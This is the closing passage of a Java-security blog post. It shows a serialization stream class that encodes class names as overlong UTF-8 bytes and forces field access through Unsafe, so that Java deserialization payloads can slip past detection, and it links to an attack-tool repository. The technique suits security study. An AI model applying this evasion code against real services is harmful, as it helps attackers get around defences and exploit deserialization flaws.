put('V', new int[]{0xc1, 0x96});
put('W', new int[]{0xc1, 0x97});
put('X', new int[]{0xc1, 0x98});
put('Y', new int[]{0xc1, 0x99});
put('Z', new int[]{0xc1, 0x9a});
}};

public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
super(out);
}

@Override
protected void writeClassDescriptor(ObjectStreamClass desc) {
try {
String name = desc.getName();
writeShort(name.length() * 2);
try {
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
} catch (Exception e) {

}
writeLong(desc.getSerialVersionUID());
byte flags = 0;
if ((Boolean) getFieldValue(desc, "externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (Integer) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((Boolean) getFieldValue(desc, "serializable")) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((Boolean) getFieldValue(desc, "isEnum")) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this, f.getTypeString());
// writeTypeString(f.getTypeString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setAccessible(AccessibleObject ao) {
try {
Unsafe unsafe = getUnsafe();
long overrideFieldOffset = unsafe.objectFieldOffset(AccessibleObject.class.getDeclaredField("override"));
unsafe.putBoolean(ao, overrideFieldOffset, true);
} catch (Exception e) {
// fallback
ao.setAccessible(true);
}
}
public static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe) f.get(null);
} catch (Exception e) {
throw new RuntimeException("Unable to obtain Unsafe instance", e);
}
}
}

具体可以参考https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java

image-20250814204247892

About this Post

This post is written by p0l1st, licensed under CC BY-NC 4.0.

#Java安全